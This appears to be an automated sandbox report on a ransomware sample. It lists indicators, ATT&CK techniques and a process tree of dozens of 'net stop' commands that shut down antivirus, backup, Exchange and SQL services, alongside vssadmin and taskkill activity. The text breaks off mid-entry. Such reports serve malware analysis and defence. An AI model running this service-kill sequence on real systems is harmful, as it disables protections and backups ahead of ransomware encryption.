File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA02371_.WMF	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

7092 2168 WerFault.exe 94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid process

4104 vssadmin.exe
4128 vssadmin.exe
4172 vssadmin.exe
4196 vssadmin.exe
5000 vssadmin.exe
5076 vssadmin.exe

pid	pid_target	process	target process
7092	2168	WerFault.exe	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe

pid	process
4104	vssadmin.exe
4128	vssadmin.exe
4172	vssadmin.exe
4196	vssadmin.exe
5000	vssadmin.exe
5076	vssadmin.exe

Kills process with taskkill 44 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
4228	taskkill.exe
4712	taskkill.exe
4960	taskkill.exe
3716	taskkill.exe
4048	taskkill.exe
4072	taskkill.exe
3396	taskkill.exe
4432	taskkill.exe
4472	taskkill.exe
3312	taskkill.exe
2252	taskkill.exe
3516	taskkill.exe
3552	taskkill.exe
3656	taskkill.exe
4836	taskkill.exe
4876	taskkill.exe
4916	taskkill.exe
4312	taskkill.exe
4632	taskkill.exe
4756	taskkill.exe
3696	taskkill.exe
4352	taskkill.exe
4392	taskkill.exe
4512	taskkill.exe
3376	taskkill.exe
3836	taskkill.exe
3424	taskkill.exe
4148	taskkill.exe
4268	taskkill.exe
3640	taskkill.exe
3116	taskkill.exe
3292	taskkill.exe
4188	taskkill.exe
4592	taskkill.exe
4672	taskkill.exe
4796	taskkill.exe
3264	taskkill.exe
3564	taskkill.exe
4108	taskkill.exe
3572	taskkill.exe
4552	taskkill.exe
3092	taskkill.exe
4032	taskkill.exe
3228	taskkill.exe

Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

6840 PING.EXE

pid	process
6840	PING.EXE

Suspicious use of AdjustPrivilegeToken 47 IoCs

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	3716	taskkill.exe
Token: SeDebugPrivilege	4048	taskkill.exe
Token: SeDebugPrivilege	3092	taskkill.exe
Token: SeDebugPrivilege	3376	taskkill.exe
Token: SeDebugPrivilege	3640	taskkill.exe
Token: SeDebugPrivilege	4032	taskkill.exe
Token: SeDebugPrivilege	3116	taskkill.exe
Token: SeDebugPrivilege	3264	taskkill.exe
Token: SeDebugPrivilege	3312	taskkill.exe
Token: SeDebugPrivilege	2252	taskkill.exe
Token: SeDebugPrivilege	3292	taskkill.exe
Token: SeDebugPrivilege	3228	taskkill.exe
Token: SeDebugPrivilege	3564	taskkill.exe
Token: SeDebugPrivilege	3516	taskkill.exe
Token: SeDebugPrivilege	3552	taskkill.exe
Token: SeDebugPrivilege	3836	taskkill.exe
Token: SeDebugPrivilege	3424	taskkill.exe
Token: SeDebugPrivilege	3396	taskkill.exe
Token: SeDebugPrivilege	3656	taskkill.exe
Token: SeDebugPrivilege	3572	taskkill.exe
Token: SeDebugPrivilege	4072	taskkill.exe
Token: SeDebugPrivilege	3696	taskkill.exe
Token: SeDebugPrivilege	4108	taskkill.exe
Token: SeDebugPrivilege	4148	taskkill.exe
Token: SeDebugPrivilege	4188	taskkill.exe
Token: SeDebugPrivilege	4228	taskkill.exe
Token: SeDebugPrivilege	4268	taskkill.exe
Token: SeDebugPrivilege	4312	taskkill.exe
Token: SeDebugPrivilege	4352	taskkill.exe
Token: SeDebugPrivilege	4392	taskkill.exe
Token: SeDebugPrivilege	4432	taskkill.exe
Token: SeDebugPrivilege	4472	taskkill.exe
Token: SeDebugPrivilege	4512	taskkill.exe
Token: SeDebugPrivilege	4552	taskkill.exe
Token: SeDebugPrivilege	4592	taskkill.exe
Token: SeDebugPrivilege	4632	taskkill.exe
Token: SeDebugPrivilege	4672	taskkill.exe
Token: SeDebugPrivilege	4712	taskkill.exe
Token: SeDebugPrivilege	4756	taskkill.exe
Token: SeDebugPrivilege	4796	taskkill.exe
Token: SeDebugPrivilege	4836	taskkill.exe
Token: SeDebugPrivilege	4876	taskkill.exe
Token: SeDebugPrivilege	4916	taskkill.exe
Token: SeDebugPrivilege	4960	taskkill.exe
Token: SeBackupPrivilege	5036	vssvc.exe
Token: SeRestorePrivilege	5036	vssvc.exe
Token: SeAuditPrivilege	5036	vssvc.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 2168 wrote to memory of 2664	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 2664	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 2664	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 2664	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2664 wrote to memory of 2680	2664	net.exe	net1.exe
PID 2664 wrote to memory of 2680	2664	net.exe	net1.exe
PID 2664 wrote to memory of 2680	2664	net.exe	net1.exe
PID 2664 wrote to memory of 2680	2664	net.exe	net1.exe
PID 2168 wrote to memory of 2716	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 2716	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 2716	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 2716	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2716 wrote to memory of 2536	2716	net.exe	net1.exe
PID 2716 wrote to memory of 2536	2716	net.exe	net1.exe
PID 2716 wrote to memory of 2536	2716	net.exe	net1.exe
PID 2716 wrote to memory of 2536	2716	net.exe	net1.exe
PID 2168 wrote to memory of 2860	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 2860	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 2860	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 2860	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2860 wrote to memory of 2520	2860	net.exe	net1.exe
PID 2860 wrote to memory of 2520	2860	net.exe	net1.exe
PID 2860 wrote to memory of 2520	2860	net.exe	net1.exe
PID 2860 wrote to memory of 2520	2860	net.exe	net1.exe
PID 2168 wrote to memory of 1976	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 1976	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 1976	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 1976	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 1976 wrote to memory of 2548	1976	net.exe	net1.exe
PID 1976 wrote to memory of 2548	1976	net.exe	net1.exe
PID 1976 wrote to memory of 2548	1976	net.exe	net1.exe
PID 1976 wrote to memory of 2548	1976	net.exe	net1.exe
PID 2168 wrote to memory of 2644	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 2644	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 2644	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 2644	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2644 wrote to memory of 2412	2644	net.exe	net1.exe
PID 2644 wrote to memory of 2412	2644	net.exe	net1.exe
PID 2644 wrote to memory of 2412	2644	net.exe	net1.exe
PID 2644 wrote to memory of 2412	2644	net.exe	net1.exe
PID 2168 wrote to memory of 2408	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 2408	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 2408	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 2408	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2408 wrote to memory of 2560	2408	net.exe	net1.exe
PID 2408 wrote to memory of 2560	2408	net.exe	net1.exe
PID 2408 wrote to memory of 2560	2408	net.exe	net1.exe
PID 2408 wrote to memory of 2560	2408	net.exe	net1.exe
PID 2168 wrote to memory of 2552	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 2552	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 2552	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 2552	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2552 wrote to memory of 2312	2552	net.exe	net1.exe
PID 2552 wrote to memory of 2312	2552	net.exe	net1.exe
PID 2552 wrote to memory of 2312	2552	net.exe	net1.exe
PID 2552 wrote to memory of 2312	2552	net.exe	net1.exe
PID 2168 wrote to memory of 2388	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 2388	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 2388	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2168 wrote to memory of 2388	2168	94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe	net.exe
PID 2388 wrote to memory of 2416	2388	net.exe	net1.exe
PID 2388 wrote to memory of 2416	2388	net.exe	net1.exe
PID 2388 wrote to memory of 2416	2388	net.exe	net1.exe
PID 2388 wrote to memory of 2416	2388	net.exe	net1.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
"C:\Users\Admin\AppData\Local\Temp\94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe"
1⤵
- Drops startup file
- Drops desktop.ini file(s)
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2168

C:\Windows\SysWOW64\net.exe
net stop "Acronis VSS Provider" /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2664

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Acronis VSS Provider" /y
3⤵
PID:2680

C:\Windows\SysWOW64\net.exe
net stop "Enterprise Client Service" /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2716

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Enterprise Client Service" /y
3⤵
PID:2536

C:\Windows\SysWOW64\net.exe
net stop "Sophos Agent" /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2860

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Sophos Agent" /y
3⤵
PID:2520

C:\Windows\SysWOW64\net.exe
net stop "Sophos AutoUpdate Service" /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1976

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Sophos AutoUpdate Service" /y
3⤵
PID:2548

C:\Windows\SysWOW64\net.exe
net stop "Sophos Clean Service" /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2644

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Sophos Clean Service" /y
3⤵
PID:2412

C:\Windows\SysWOW64\net.exe
net stop "Sophos Device Control Service" /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2408

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Sophos Device Control Service" /y
3⤵
PID:2560

C:\Windows\SysWOW64\net.exe
net stop "Sophos File Scanner Service" /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2552

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Sophos File Scanner Service" /y
3⤵
PID:2312

C:\Windows\SysWOW64\net.exe
net stop "Sophos Health Service" /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2388

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Sophos Health Service" /y
3⤵
PID:2416

C:\Windows\SysWOW64\net.exe
net stop "Sophos MCS Agent" /y
2⤵
PID:2436

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Sophos MCS Agent" /y
3⤵
PID:2284

C:\Windows\SysWOW64\net.exe
net stop "Sophos MCS Client" /y
2⤵
PID:2936

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Sophos MCS Client" /y
3⤵
PID:2100

C:\Windows\SysWOW64\net.exe
net stop "Sophos Message Router" /y
2⤵
PID:2232

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Sophos Message Router" /y
3⤵
PID:1560

C:\Windows\SysWOW64\net.exe
net stop "Sophos Safestore Service" /y
2⤵
PID:1728

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Sophos Safestore Service" /y
3⤵
PID:2456

C:\Windows\SysWOW64\net.exe
net stop "Sophos System Protection Service" /y
2⤵
PID:2604

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Sophos System Protection Service" /y
3⤵
PID:356

C:\Windows\SysWOW64\net.exe
net stop "Sophos Web Control Service" /y
2⤵
PID:1548

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Sophos Web Control Service" /y
3⤵
PID:1888

C:\Windows\SysWOW64\net.exe
net stop "SQLsafe Backup Service" /y
2⤵
PID:1568

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLsafe Backup Service" /y
3⤵
PID:1876

C:\Windows\SysWOW64\net.exe
net stop "SQLsafe Filter Service" /y
2⤵
PID:1964

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLsafe Filter Service" /y
3⤵
PID:1600

C:\Windows\SysWOW64\net.exe
net stop "Symantec System Recovery" /y
2⤵
PID:1204

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Symantec System Recovery" /y
3⤵
PID:2280

C:\Windows\SysWOW64\net.exe
net stop "Veeam Backup Catalog Data Service" /y
2⤵
PID:1708

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Veeam Backup Catalog Data Service" /y
3⤵
PID:1536

C:\Windows\SysWOW64\net.exe
net stop "AcronisAgent" /y
2⤵
PID:1584

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "AcronisAgent" /y
3⤵
PID:268

C:\Windows\SysWOW64\net.exe
net stop "AcrSch2Svc" /y
2⤵
PID:488

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "AcrSch2Svc" /y
3⤵
PID:1064

C:\Windows\SysWOW64\net.exe
net stop "Antivirus" /y
2⤵
PID:1412

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Antivirus" /y
3⤵
PID:1292

C:\Windows\SysWOW64\net.exe
net stop "ARSM" /y
2⤵
PID:2348

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "ARSM" /y
3⤵
PID:624

C:\Windows\SysWOW64\net.exe
net stop "BackupExecAgentAccelerator" /y
2⤵
PID:1444

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "BackupExecAgentAccelerator" /y
3⤵
PID:836

C:\Windows\SysWOW64\net.exe
net stop "BackupExecAgentBrowser" /y
2⤵
PID:880

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "BackupExecAgentBrowser" /y
3⤵
PID:2824

C:\Windows\SysWOW64\net.exe
net stop "BackupExecDeviceMediaService" /y
2⤵
PID:2564

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "BackupExecDeviceMediaService" /y
3⤵
PID:2744

C:\Windows\SysWOW64\net.exe
net stop "BackupExecJobEngine" /y
2⤵
PID:2756

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "BackupExecJobEngine" /y
3⤵
PID:1400

C:\Windows\SysWOW64\net.exe
net stop "BackupExecManagementService" /y
2⤵
PID:2832

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "BackupExecManagementService" /y
3⤵
PID:2220

C:\Windows\SysWOW64\net.exe
net stop "BackupExecRPCService" /y
2⤵
PID:2132

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "BackupExecRPCService" /y
3⤵
PID:2836

C:\Windows\SysWOW64\net.exe
net stop "BackupExecVSSProvider" /y
2⤵
PID:2064

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "BackupExecVSSProvider" /y
3⤵
PID:2588

C:\Windows\SysWOW64\net.exe
net stop "bedbg" /y
2⤵
PID:2952

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "bedbg" /y
3⤵
PID:848

C:\Windows\SysWOW64\net.exe
net stop "DCAgent" /y
2⤵
PID:2888

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "DCAgent" /y
3⤵
PID:2784

C:\Windows\SysWOW64\net.exe
net stop "EPSecurityService" /y
2⤵
PID:1780

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "EPSecurityService" /y
3⤵
PID:2336

C:\Windows\SysWOW64\net.exe
net stop "EPUpdateService" /y
2⤵
PID:1460

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "EPUpdateService" /y
3⤵
PID:1040

C:\Windows\SysWOW64\net.exe
net stop "EraserSvc11710" /y
2⤵
PID:2108

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "EraserSvc11710" /y
3⤵
PID:448

C:\Windows\SysWOW64\net.exe
net stop "EsgShKernel" /y
2⤵
PID:1240

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "EsgShKernel" /y
3⤵
PID:2212

C:\Windows\SysWOW64\net.exe
net stop "FA_Scheduler" /y
2⤵
PID:2084

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "FA_Scheduler" /y
3⤵
PID:1244

C:\Windows\SysWOW64\net.exe
net stop "IISAdmin" /y
2⤵
PID:552

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "IISAdmin" /y
3⤵
PID:1952

C:\Windows\SysWOW64\net.exe
net stop "IMAP4Svc" /y
2⤵
PID:2068

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "IMAP4Svc" /y
3⤵
PID:1284

C:\Windows\SysWOW64\net.exe
net stop "macmnsvc" /y
2⤵
PID:1532

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "macmnsvc" /y
3⤵
PID:3056

C:\Windows\SysWOW64\net.exe
net stop "masvc" /y
2⤵
PID:352

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "masvc" /y
3⤵
PID:2008

C:\Windows\SysWOW64\net.exe
net stop "MBAMService" /y
2⤵
PID:904

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MBAMService" /y
3⤵
PID:1112

C:\Windows\SysWOW64\net.exe
net stop "MBEndpointAgent" /y
2⤵
PID:1036

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MBEndpointAgent" /y
3⤵
PID:2056

C:\Windows\SysWOW64\net.exe
net stop "McAfeeEngineService" /y
2⤵
PID:2924

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "McAfeeEngineService" /y
3⤵
PID:2908

C:\Windows\SysWOW64\net.exe
net stop "McAfeeFramework" /y
2⤵
PID:1664

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "McAfeeFramework" /y
3⤵
PID:2140

C:\Windows\SysWOW64\net.exe
net stop "McAfeeFrameworkMcAfeeFramework" /y
2⤵
PID:1956

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "McAfeeFrameworkMcAfeeFramework" /y
3⤵
PID:1148

C:\Windows\SysWOW64\net.exe
net stop "McShield" /y
2⤵
PID:1256

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "McShield" /y
3⤵
PID:2472

C:\Windows\SysWOW64\net.exe
net stop "McTaskManager" /y
2⤵
PID:2904

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "McTaskManager" /y
3⤵
PID:1872

C:\Windows\SysWOW64\net.exe
net stop "mfemms" /y
2⤵
PID:1856

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "mfemms" /y
3⤵
PID:1944

C:\Windows\SysWOW64\net.exe
net stop "mfevtp" /y
2⤵
PID:2900

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "mfevtp" /y
3⤵
PID:1516

C:\Windows\SysWOW64\net.exe
net stop "MMS" /y
2⤵
PID:1520

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MMS" /y
3⤵
PID:1524

C:\Windows\SysWOW64\net.exe
net stop "mozyprobackup" /y
2⤵
PID:2712

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "mozyprobackup" /y
3⤵
PID:2544

C:\Windows\SysWOW64\net.exe
net stop "MsDtsServer" /y
2⤵
PID:2708

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MsDtsServer" /y
3⤵
PID:2688

C:\Windows\SysWOW64\net.exe
net stop "MsDtsServer100" /y
2⤵
PID:3044

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MsDtsServer100" /y
3⤵
PID:2320

C:\Windows\SysWOW64\net.exe
net stop "MsDtsServer110" /y
2⤵
PID:2524

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MsDtsServer110" /y
3⤵
PID:2440

C:\Windows\SysWOW64\net.exe
net stop "MSExchangeES" /y
2⤵
PID:2448

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSExchangeES" /y
3⤵
PID:2508

C:\Windows\SysWOW64\net.exe
net stop "MSExchangeIS" /y
2⤵
PID:2428

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSExchangeIS" /y
3⤵
PID:1564

C:\Windows\SysWOW64\net.exe
net stop "MSExchangeMGMT" /y
2⤵
PID:2960

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSExchangeMGMT" /y
3⤵
PID:2272

C:\Windows\SysWOW64\net.exe
net stop "MSExchangeMTA" /y
2⤵
PID:1720

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSExchangeMTA" /y
3⤵
PID:1884

C:\Windows\SysWOW64\net.exe
net stop "MSExchangeSA" /y
2⤵
PID:764

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSExchangeSA" /y
3⤵
PID:1500

C:\Windows\SysWOW64\net.exe
net stop "MSExchangeSRS" /y
2⤵
PID:804

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSExchangeSRS" /y
3⤵
PID:1592

C:\Windows\SysWOW64\net.exe
net stop "MSOLAP$SQL_2008" /y
2⤵
PID:1504

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSOLAP$SQL_2008" /y
3⤵
PID:540

C:\Windows\SysWOW64\net.exe
net stop "MSOLAP$SYSTEM_BGC" /y
2⤵
PID:1404

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSOLAP$SYSTEM_BGC" /y
3⤵
PID:1736

C:\Windows\SysWOW64\net.exe
net stop "MSOLAP$TPS" /y
2⤵
PID:632

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSOLAP$TPS" /y
3⤵
PID:1392

C:\Windows\SysWOW64\net.exe
net stop "MSOLAP$TPSAMA" /y
2⤵
PID:1484

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSOLAP$TPSAMA" /y
3⤵
PID:1264

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$BKUPEXEC" /y
2⤵
PID:2764

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL$BKUPEXEC" /y
3⤵
PID:2932

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$ECWDB2" /y
2⤵
PID:1656

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL$ECWDB2" /y
3⤵
PID:1620

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$PRACTICEMGT" /y
2⤵
PID:2820

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL$PRACTICEMGT" /y
3⤵
PID:2364

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$PRACTTICEBGC" /y
2⤵
PID:1704

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL$PRACTTICEBGC" /y
3⤵
PID:1424

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$PROFXENGAGEMENT" /y
2⤵
PID:636

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL$PROFXENGAGEMENT" /y
3⤵
PID:2092

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$SBSMONITORING" /y
2⤵
PID:2300

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL$SBSMONITORING" /y
3⤵
PID:3028

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$SHAREPOINT" /y
2⤵
PID:3032

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL$SHAREPOINT" /y
3⤵
PID:1464

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$SQL_2008" /y
2⤵
PID:1700

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL$SQL_2008" /y
3⤵
PID:1540

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$SYSTEM_BGC" /y
2⤵
PID:2024

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL$SYSTEM_BGC" /y
3⤵
PID:1016

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$TPS" /y
2⤵
PID:932

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL$TPS" /y
3⤵
PID:1156

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$TPSAMA" /y
2⤵
PID:1408

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL$TPSAMA" /y
3⤵
PID:1908

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$VEEAMSQL2008R2" /y
2⤵
PID:1368

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2008R2" /y
3⤵
PID:1644

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$VEEAMSQL2012" /y
2⤵
PID:984

C:\Windows\SysWOW64\net1.exe
